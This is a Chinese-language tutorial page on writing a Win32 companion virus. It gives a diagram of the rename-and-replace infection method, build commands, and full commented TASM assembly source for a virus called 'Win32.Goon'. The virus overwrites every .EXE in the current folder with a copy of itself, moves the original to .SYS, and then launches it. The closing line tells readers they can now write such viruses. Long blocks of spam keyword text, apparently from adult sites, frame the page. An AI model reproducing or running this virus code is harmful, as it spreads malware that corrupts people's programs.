国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区

掃一掃
關注微信公眾號

系統安全之對簡單Win32伴侶病毒的研究
2007-01-29   

朋友們好,今天我在29A#6中讀到了Benny寫的一篇文章。它題目是“病毒界的現狀”。我對此進行了思考,而后我決然寫這篇教程!因為我想通過這個教程分享我所有的病毒知識。這個教程并不適于了解了本文所述更多內容更多的朋友,但對于初學者和新手(像我)來說本文有益。是的,希望如此!當我的知識水平更進一步(下一步學習PE)后,我會寫下全部所懂與大家分享。現在,教程開始,希望它對你有所幫助并能堅持看完它!

1.什么是伴侶病毒

伴侶病毒不改變宿主程序的代碼,也沒有添加代碼,掛起或者其他任何動作。它僅僅是重命名宿主程序,然后把自己復制為宿主程序原來的文件名。當你運行程序時,病毒會首先運行,當它所有工作完成,才接著運行宿主程序。你可以把宿主和病毒兩者的文件名都重命名回原先的文件名,這樣宿主程序就能恢復正常。下面給出全過程的原理圖。

第一步:

/-------------\ /-----------\

| | | |

| Program.EXE | ;目標文件的 | Virus.EXE | ;我們必須了解病毒文件中的

| | ;原先文件名 | | ;API函數: GetCommandLineA

\-------------/ \-----------/

第二步:

/-------------\ /-----------\

| | | |

| Program.EXE | | Virus.EXE |

| | | |

\-------------/ \-----------/

|

|

復制為

|

|

/-------------\

| |

| Program.SYS |

| |

\-------------/

第三步:

/-------------\ /-----------\

| | | |

| Program.EXE |<---------復制為-----------| Virus.EXE |

| | | |

\-------------/ \-----------/

恢復方法:

刪除Program.EXE,把Program.SYS重命名回Program.EXE,所做就這些了。

2.伴侶病毒如何工作的

(1) 獲取病毒文件的文件名

(2)創建宿主文件的原先文件名

(3)在當前目錄搜索到第一個文件

(4)將目標文件復制為另一個文件名

(5)把病毒文件復制為目標文件的原先文件名

(6)搜索下一個文件->重復(4) -->沒有其他文件 跳到7.

(7)運行宿主程序 (經過了步驟2)

(8)病毒退出

3.帶注釋的病毒例子

理論夠充足了,讓我們看它怎么工作。編譯方法:

TASM32 /z /ml /m3 Goon,,; 
TLINK32 -Tpe -c Goon,Goon,, import,lib 


;-----cut----------------------------------------Goon.asm-------------------
.386     ;386指令集 
.model flat    ;內存平坦模式 
jumps     ;TASM rulez 

;+++++ 
; 你能理解,我想 :) 
;+++++ 


extrn GetCommandLineA :PROC  ;獲取病毒文件和宿主文件 
extrn lstrcpyA  :PROC  ;復制字符串 
extrn FindFirstFileA :PROC  ;搜索當前目錄第一個匹配的文件 
extrn FindNextFileA :PROC  ;通過文件句柄搜索下一個文件 
extrn CopyFileA  :PROC  ;復制文件 (往上看 _2_) 
extrn CreateProcessA :PROC  ;運行宿主 
extrn ExitProcess :PROC  ;退出病毒程序  

;+++++ 
; 這里,我們聲明必需的API函數 
; 我想你能理解 
;+++++ 


.data 
Goon   db ’Win32.Goon - Virus’,0 
   db ’Only a Example Code’,0 
   db ’by  DiA/auXnet’,0 


FILETIME  STRUC 
FT_dwLowDateTime dd ? 
FT_dwHighDateTime dd ? 
FILETIME  ENDS 

WIN32_FIND_DATA          label    byte 
 WFD_dwFileAttributes    dd       ? 
 WFD_ftCreationTime      FILETIME ? 
 WFD_ftLastAccessTime    FILETIME ? 
 WFD_ftLastWriteTime     FILETIME ? 
 WFD_nFileSizeHigh       dd       ? 
 WFD_nFileSizeLow        dd       ? 
 WFD_dwReserved0         dd       ? 
 WFD_dwReserved1         dd       ? 
 WFD_szFileName          db       260d dup (?) 
 WFD_szAlternateFileName db       13   dup (?) 
 WFD_szAlternateEnding   db       03   dup (?) 

;+++++ 
; 這是 Win32 Find data: 
; 這里保存關于目標文件的所有數據 
; 我們僅僅對包含目標文件的名稱的"WFD_szFileName" 
; 記住我們必須復制目標文件成另外一個文件名, 
; 而把病毒復制成目標文件最先的文件名 
;+++++ 


VirusFile  db 260d dup (0) 
HostFile  db 260d dup (0) 
HostCopy  db 260d dup (0) 

;+++++ 
; 這里創建文件名的空間:病毒文件名,宿主文件名, 
; 還有我們必須創建的文件名(從目標文件復制) 
;+++++ 


FileMask  db ’*.EXE’,0 
FindHandle  dd 0 
ProcessInfo  dd 4 dup (0) 
StartupInfo  dd 4 dup (0) 

;+++++ 
; 包含我們必須搜索的文件 
; FileHandle 包含搜索的文件的句柄 (FindNextFileA) 
; ProcessInfo and StartupInfo 僅僅是為了運行宿主 (不重要) 
;+++++ 


.code 
start: 

;+++++ 
; ROCK ’N ROLL =) 
;+++++ 


call GetCommandLineA 

;+++++ 
; 這里我們獲取包含正在運行的程序文件名的CommandLine 
; (病毒文件 :). 現在,line 在eax了, 看下一步... 
;+++++ 


inc eax     ; **** da " 
push eax 
push offset VirusFile 
call lstrcpyA    ;復制它 

;+++++ 
; 為什么要’inc eax’??? 
; 因為CommandLine類似這樣:"C:\LUCI\HELL.EXE" (包含 ") 
; 我們不能運行,復制帶有"的程序,所以我們走到前面一個地方 
; 它從eax復制到VirusFile 
;+++++ 


mov esi,offset VirusFile  ;now in esi 
call GetPoint    ;call a kewl procedure ;) 

;+++++ 
; we must find da point to **** the other " 
; 讓我們看看... 
;+++++ 


mov dword ptr [esi+4],00000000d  ;清除它 

;+++++ 
; 我們走到.EXE后面并清除"號 
; ->現在我們得到完整funcional VirusFile 
;+++++ 


push offset VirusFile 
push offset HostFile 
call lstrcpyA 

;+++++ 
; 把文件名復制到HostFile, 這樣我們可以改變它并得到真的Host文件名 (.SYS) 
; ... 
;+++++ 


mov esi,offset HostFile 
call GetPoint 

;+++++ 
; 得到指針... 
;+++++ 


mov dword ptr [esi],5359532Eh  ;5359532Eh = ’SYS.’ 

;+++++ 
; 把它重命名為 .SYS (last 4 letters with point) 
; 現在我們得到HostFile, 可能運行宿主... 
; ...但是等等! 我們必須感染文件!!! 
;+++++ 


push offset WIN32_FIND_DATA 
push offset FileMask 
call FindFirstFileA 
mov dword ptr [FindHandle],eax  ;保存句柄 

;+++++ 
; 如果你不懂WIN32_FIND_DATA and FileMask,請往上看... 
; Call后Find Handle保存在eax中, FindNextFileA還要用到,我們保存它... 
;+++++ 


FindNext: 
test eax,eax    ;還有文件? 
jz RunHost    ;如果沒有就跳到RunHost 

;+++++ 
; 當eax是null,說明當前目錄里沒有更多的文件可以被感染了 
; 所有的文件都感染后就運行宿主 
;+++++ 


push offset WFD_szFileName 
push offset HostCopy 
call lstrcpyA 

;+++++ 
; 得制 WFD_szFileName 到 HostCopy 來重命名和復制它 
;+++++ 


mov esi,offset HostCopy 
call GetPoint 

;+++++ 
; 得到指針來重命名文件名為.SYS 
; 稍后使用它復制原先的文件為宿主文件 
;+++++ 


mov dword ptr [esi],5359532Eh  ; SYS. 

;+++++ 
; 把它重命名為 .SYS (last 4 letters) 
; 現在我們做所以工作完成感染目標文件: 
; 病毒文件名 
; 原先文件名 
; 重命名目標文件名 
; rock ’n roll =) 
;+++++ 


push 1     ;如果文件已存在就不復制 
push offset HostCopy 
push offset WFD_szFileName 
call CopyFileA 

;+++++ 
; 現在我們復制.EXE文件為.EXE文件,宿主文件在.sys 
; 如果文件已經存在,我們就不要復制它,我們不能復制它兩次 
;+++++ 


push 0     ;無條件復制 
push offset WFD_szFileName 
push offset VirusFile 
call CopyFileA 

;+++++ 
; 我們復制病毒為目標.EXE文件 
; 無條件復制,因為我們不能有兩個宿主而沒有病毒 
;+++++ 


push offset WIN32_FIND_DATA 
push dword ptr [FindHandle] 
call FindNextFileA 
jmp FindNext 

;+++++ 
; 你還記得我們保存FindHandle吧... 
; 我們搜索更多的文件! 
; 跳到FindNext并檢查更多的文件 
;+++++ 


RunHost: 
xor eax,eax    ;null 
push offset ProcessInfo   ;這個,我們不感興趣 
push offset StartupInfo   ;... 
push eax 
push eax 
push 00000010h    ;創建進程 
push eax 
push eax 
push eax 
push offset HostFile 
push offset HostFile   ;運行它 
call CreateProcessA 

;+++++ 
; 記住我們重命名病文件為宿主文件(.SYS), 現在我們通過這個名運行 
;+++++ 


push 0 
call ExitProcess 

;+++++ 
; 所有這些做完,我們把控制交給宿主 
;+++++ 


GetPoint: 
cmp byte ptr [esi],’.’   ;point? 
jz FoundPoint    ;je return 
inc esi     ;scan next place 
jmp GetPoint 
FoundPoint: 
ret     ;return 

;+++++ 
; at last the GetPoint procedure... 
; scan for ’.’ and if found return to place where are called 
;+++++ 


end start 

;+++++ 
; 晚安 
;+++++ 

;-----cut------------------------------------------------------------

4.結束語

嗯,教程完畢,現在你可以寫Win32伴侶病毒了。向Benny/29A表示致謝,是你用杰出的文章激發我寫下這篇教程。


熱詞搜索:

上一篇:黑客技巧談之EXE程序的自刪除實現
下一篇:黑客技巧談之創建高權限進程的方法

分享到: 收藏
国产一级一区二区_segui88久久综合9999_97久久夜色精品国产_欧美色网一区二区
国产精品一区久久久久| 精品99久久久久久| 欧美午夜不卡视频| 91看片淫黄大片一级在线观看| 福利电影一区二区| 国产成人免费xxxxxxxx| 国产成都精品91一区二区三| 国产成人综合在线播放| 成人h动漫精品一区二| 成人av第一页| 91黄色小视频| 欧美日韩国产综合视频在线观看| 欧美福利电影网| 欧美一区二区三区影视| 精品对白一区国产伦| 国产日产精品一区| 亚洲欧美日韩久久精品| 亚洲综合偷拍欧美一区色| 香蕉av福利精品导航| 蜜臀av在线播放一区二区三区| 蜜臂av日日欢夜夜爽一区| 黄页网站大全一区二区| 丰满亚洲少妇av| 色婷婷av一区二区三区之一色屋| 欧美偷拍一区二区| 欧美一级二级在线观看| 国产午夜精品久久| 综合久久给合久久狠狠狠97色| 亚洲国产综合人成综合网站| 老司机免费视频一区二区三区| 国产电影一区二区三区| 一本大道综合伊人精品热热| 3d动漫精品啪啪一区二区竹菊| 精品福利二区三区| 亚洲视频免费在线| 日韩高清不卡一区二区三区| 国产在线看一区| 91亚洲精品乱码久久久久久蜜桃| 欧美日韩午夜在线视频| 久久精品一区二区三区四区| 亚洲乱码精品一二三四区日韩在线| 午夜精品久久一牛影视| 国产在线精品一区在线观看麻豆| 99久久久免费精品国产一区二区| 在线视频国产一区| 久久这里只精品最新地址| 亚洲视频在线观看一区| 久久精品国产亚洲a| 色婷婷综合久色| 26uuu色噜噜精品一区| 伊人夜夜躁av伊人久久| 精品午夜久久福利影院| 一本色道**综合亚洲精品蜜桃冫 | 久久这里只有精品6| 亚洲免费观看高清完整版在线观看熊 | 亚洲嫩草精品久久| 免播放器亚洲一区| 一本高清dvd不卡在线观看| 精品久久久久久久人人人人传媒| 亚洲黄色性网站| 国产一区二区91| 欧美精品免费视频| 亚洲柠檬福利资源导航| 国产精品123| 日韩一级欧美一级| 亚洲一区欧美一区| 波多野结衣中文一区| 精品少妇一区二区三区视频免付费 | 26uuu亚洲综合色欧美| 性感美女久久精品| 91丝袜美腿高跟国产极品老师| 久久一区二区视频| 午夜视频在线观看一区二区三区| 成人免费看片app下载| 欧美大片国产精品| 亚洲成a人片在线观看中文| 波多野结衣一区二区三区| 亚洲精品在线网站| 乱中年女人伦av一区二区| 欧美日韩久久久| 一区二区免费看| 91亚洲国产成人精品一区二三 | 亚洲精品视频一区| 成人免费的视频| 国产亚洲一区二区在线观看| 蜜桃av一区二区三区| 欧美男生操女生| 亚洲成av人在线观看| 色婷婷综合中文久久一本| 国产精品白丝在线| 成人激情视频网站| 国产午夜亚洲精品不卡| 国产精品主播直播| 久久精子c满五个校花| 国产在线国偷精品产拍免费yy| 日韩一级二级三级精品视频| 亚洲福利一区二区| 欧美日韩小视频| 日韩国产欧美在线视频| 制服丝袜激情欧洲亚洲| 日本女优在线视频一区二区| 91精品国产91综合久久蜜臀| 午夜欧美2019年伦理| 在线电影院国产精品| 日本伊人精品一区二区三区观看方式| 欧美色手机在线观看| 午夜a成v人精品| 91精品国产综合久久婷婷香蕉| 天天综合色天天综合| 88在线观看91蜜桃国自产| 蜜桃视频一区二区三区在线观看 | 一区二区三区不卡视频| 91在线国产福利| 亚洲制服丝袜一区| 4438x亚洲最大成人网| 蜜臀av性久久久久蜜臀aⅴ流畅| 精品久久人人做人人爰| 国产精品羞羞答答xxdd| 国产精品国产成人国产三级| 91麻豆国产在线观看| 亚洲狠狠丁香婷婷综合久久久| 欧美唯美清纯偷拍| 美女免费视频一区| 欧美极品另类videosde| 96av麻豆蜜桃一区二区| 五月婷婷综合在线| 欧美xxxxx牲另类人与| 成人一区二区三区在线观看| 亚洲精品亚洲人成人网 | 日韩avvvv在线播放| 精品国产乱码久久久久久1区2区| 高清不卡在线观看| 亚洲国产日韩a在线播放性色| 欧美一激情一区二区三区| 国产一区二区按摩在线观看| 日韩码欧中文字| 538在线一区二区精品国产| 国产成人午夜精品影院观看视频| ...中文天堂在线一区| 欧美日韩一区二区三区在线| 国产一区二区三区四区五区入口| 综合av第一页| 日韩欧美国产电影| 99久久精品免费看国产免费软件| 亚洲国产cao| 久久久综合视频| 欧美亚洲国产怡红院影院| 国产在线精品一区二区三区不卡| 国产日韩av一区| 日本高清不卡在线观看| 久久国产精品无码网站| 日韩国产精品久久久| 国产精品护士白丝一区av| 欧美日韩高清一区| 成人av电影在线| 美女高潮久久久| 亚洲精品五月天| 国产亚洲综合av| 欧美高清dvd| 91女厕偷拍女厕偷拍高清| 美女国产一区二区| 亚洲一级二级在线| 国产精品色一区二区三区| 欧美日本韩国一区| 91免费在线播放| 国产一区二区伦理片| 性做久久久久久免费观看欧美| 国产精品久久久久影院亚瑟| 欧美大片免费久久精品三p| 欧美亚洲国产怡红院影院| 成人成人成人在线视频| 精品一二三四区| 午夜精品视频一区| 亚洲九九爱视频| 国产精品―色哟哟| 久久精品一区二区三区不卡牛牛 | 亚洲午夜久久久久久久久久久| 欧美激情一区二区三区| 欧美大度的电影原声| 在线国产电影不卡| 97久久久精品综合88久久| 国产一区二区三区在线观看免费视频| 婷婷一区二区三区| 亚洲国产另类精品专区| 亚洲摸摸操操av| 中国av一区二区三区| 精品日本一线二线三线不卡| 欧美日韩综合在线免费观看| 92精品国产成人观看免费| 豆国产96在线|亚洲| 国产一本一道久久香蕉| 看国产成人h片视频| 奇米影视在线99精品| 亚洲国产日韩a在线播放| 亚洲美女少妇撒尿| 亚洲欧美激情插| 亚洲天堂a在线| 亚洲欧洲av色图| 中文字幕日韩一区| 成人欧美一区二区三区1314|